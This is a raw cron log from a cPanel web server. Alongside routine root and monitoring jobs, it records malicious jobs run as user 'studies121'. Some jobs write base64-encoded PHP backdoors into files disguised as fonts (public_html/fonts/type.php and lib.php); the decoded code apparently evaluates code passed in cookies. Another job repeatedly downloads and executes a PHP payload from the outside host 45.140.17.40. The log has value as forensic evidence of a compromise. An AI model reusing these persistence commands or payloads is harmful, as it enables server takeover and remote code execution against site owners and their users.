Sep 10 18:52:01 ip-184-168-122-23 CROND[25635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:53:01 ip-184-168-122-23 CROND[25833]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 18:53:01 ip-184-168-122-23 CROND[25835]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:53:01 ip-184-168-122-23 CROND[25834]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:53:01 ip-184-168-122-23 CROND[25836]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 18:54:01 ip-184-168-122-23 CROND[25939]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 18:54:01 ip-184-168-122-23 CROND[25941]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 18:54:01 ip-184-168-122-23 CROND[25942]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 18:54:01 ip-184-168-122-23 CROND[25943]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:54:01 ip-184-168-122-23 CROND[25945]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:55:01 ip-184-168-122-23 CROND[26048]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 18:55:01 ip-184-168-122-23 CROND[26050]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 18:55:01 ip-184-168-122-23 CROND[26052]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:55:01 ip-184-168-122-23 CROND[26051]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 18:55:01 ip-184-168-122-23 CROND[26054]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:55:01 ip-184-168-122-23 CROND[26053]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 18:56:01 ip-184-168-122-23 CROND[26138]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 18:56:01 ip-184-168-122-23 CROND[26141]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 18:56:01 ip-184-168-122-23 CROND[26142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:56:01 ip-184-168-122-23 CROND[26143]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:56:01 ip-184-168-122-23 CROND[26140]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 18:57:01 ip-184-168-122-23 CROND[26250]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 18:57:01 ip-184-168-122-23 CROND[26252]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 18:57:01 ip-184-168-122-23 CROND[26251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:57:01 ip-184-168-122-23 CROND[26253]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:58:01 ip-184-168-122-23 CROND[26339]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 18:58:01 ip-184-168-122-23 CROND[26342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:58:01 ip-184-168-122-23 CROND[26345]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 18:58:01 ip-184-168-122-23 CROND[26343]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:58:01 ip-184-168-122-23 CROND[26344]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 18:59:01 ip-184-168-122-23 CROND[26427]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:59:01 ip-184-168-122-23 CROND[26429]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 18:59:01 ip-184-168-122-23 CROND[26430]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 18:59:01 ip-184-168-122-23 CROND[26432]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:00:01 ip-184-168-122-23 CROND[26631]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:00:01 ip-184-168-122-23 CROND[26632]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 19:00:01 ip-184-168-122-23 CROND[26637]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 19:00:01 ip-184-168-122-23 CROND[26636]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 19:00:01 ip-184-168-122-23 CROND[26640]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 19:00:01 ip-184-168-122-23 CROND[26642]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 19:00:01 ip-184-168-122-23 CROND[26641]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 19:00:01 ip-184-168-122-23 CROND[26639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:01:01 ip-184-168-122-23 CROND[26765]: (root) CMD (run-parts /etc/cron.hourly)
Sep 10 19:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[26765]: starting 0anacron
Sep 10 19:01:01 ip-184-168-122-23 CROND[26773]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:01:01 ip-184-168-122-23 CROND[26767]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 19:01:01 ip-184-168-122-23 CROND[26772]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:01:01 ip-184-168-122-23 CROND[26777]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 19:01:01 ip-184-168-122-23 CROND[26778]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 19:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[26784]: finished 0anacron
Sep 10 19:02:01 ip-184-168-122-23 CROND[26893]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 19:02:01 ip-184-168-122-23 CROND[26896]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 19:02:01 ip-184-168-122-23 CROND[26895]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 19:02:01 ip-184-168-122-23 CROND[26898]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:02:01 ip-184-168-122-23 CROND[26897]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:03:01 ip-184-168-122-23 CROND[26995]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:03:01 ip-184-168-122-23 CROND[26996]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 19:03:01 ip-184-168-122-23 CROND[26998]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 19:03:01 ip-184-168-122-23 CROND[26999]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:04:01 ip-184-168-122-23 CROND[27111]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 19:04:01 ip-184-168-122-23 CROND[27113]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 19:04:01 ip-184-168-122-23 CROND[27114]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:04:01 ip-184-168-122-23 CROND[27115]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 19:04:01 ip-184-168-122-23 CROND[27116]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
